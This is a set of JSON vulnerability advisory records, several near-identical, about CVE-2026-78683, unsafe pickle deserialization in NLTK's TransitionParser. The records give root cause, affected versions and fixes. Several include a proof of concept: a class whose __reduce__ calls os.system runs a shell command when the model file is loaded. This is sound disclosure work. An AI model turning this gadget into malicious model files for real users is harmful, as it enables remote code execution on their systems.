{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "nltk",
        "resource_purl": "pkg:pypi/nltk@3.10.3",
        "upstream_fixed_in": "3.10.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "acronym",
        "purl": "pkg:brew/acronym"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.0_4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/nltk@3.10.3",
        "name": "nltk",
        "resource": "nltk",
        "strategy": "registry",
        "subject_version": "3.10.3"
      }
    ]
  },
  "details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027)      # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027)   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
  "id": "BREW-acronym-CVE-2026-78683",
  "modified": "2026-09-17T18:47:55Z",
  "published": "2026-09-02T08:43:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3631"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
  "upstream": [
    "PYSEC-2026-3734",
    "CVE-2026-78683",
    "GHSA-rhp5-r9x4-f5g2"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "nltk",
        "resource_purl": "pkg:pypi/nltk@3.10.3",
        "upstream_fixed_in": "3.10.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "gptline",
        "purl": "pkg:brew/gptline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.8"
            },
            {
              "fixed": "1.0.8_22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/nltk@3.10.3",
        "name": "nltk",
        "resource": "nltk",
        "strategy": "registry",
        "subject_version": "3.10.3"
      }
    ]
  },
  "details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027)      # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027)   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
  "id": "BREW-gptline-CVE-2026-78683",
  "modified": "2026-09-17T19:32:01Z",
  "published": "2026-09-02T09:04:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3631"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
  "upstream": [
    "PYSEC-2026-3734",
    "CVE-2026-78683",
    "GHSA-rhp5-r9x4-f5g2"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "nltk",
        "resource_purl": "pkg:pypi/nltk@3.10.3",
        "upstream_fixed_in": "3.10.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "safety",
        "purl": "pkg:brew/safety"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.1"
            },
            {
              "fixed": "3.8.1_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/nltk@3.10.3",
        "name": "nltk",
        "resource": "nltk",
        "strategy": "registry",
        "subject_version": "3.10.3"
      }
    ]
  },
  "details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027)      # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027)   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
  "id": "BREW-safety-CVE-2026-78683",
  "modified": "2026-09-17T17:35:56Z",
  "published": "2026-09-02T09:53:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3631"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
  "upstream": [
    "PYSEC-2026-3734",
    "CVE-2026-78683",
    "GHSA-rhp5-r9x4-f5g2"
  ]
}

{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:pypi/nltk",
          "product": "nltk",
          "vendor": "nltk",
          "versions": [
            {
              "lessThan": "3.10.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
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            {
              "status": "unaffected",
              "version": "3.10.0",
              "versionType": "semver"
            }
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      "source": "disclosure@vulncheck.com"
    }
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      "nodes": [
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              "criteria": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "653A48E1-BCC5-4342-B5DF-E8D71A83BCB9",
              "versionEndExcluding": "3.10.0",
              "vulnerable": true
            }
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          "negate": false,
          "operator": "OR"
        }
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  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "NLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0."
    }
  ],
  "id": "CVE-2026-78683",
  "lastModified": "2026-08-31T19:05:09.870",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.6,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 6.0,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
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          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
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          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
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          "vulnerabilityResponseEffort": "NOT_DEFINED"
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    "ssvcV203": [
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        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
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            {
              "automatable": "no"
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            {
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          "role": "CISA Coordinator",
          "timestamp": "2026-08-25T15:19:21.370761Z",
          "version": "2.0.3"
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  "published": "2026-08-25T02:16:53.033",
  "references": [
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      "source": "disclosure@vulncheck.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
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        "Vendor Advisory"
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      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-502"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:40:50Z",
    "nvd_published_at": "2026-08-25T02:16:53Z",
    "severity": "CRITICAL"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-rhp5-r9x4-f5g2. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.",
  "id": "GHSA-gx65-c5hj-vpv5",
  "modified": "2026-09-02T14:40:50Z",
  "published": "2026-08-25T03:32:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: [CWE-502] Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
  "withdrawn": "2026-09-02T14:40:50Z"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.9.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T16:41:11Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with 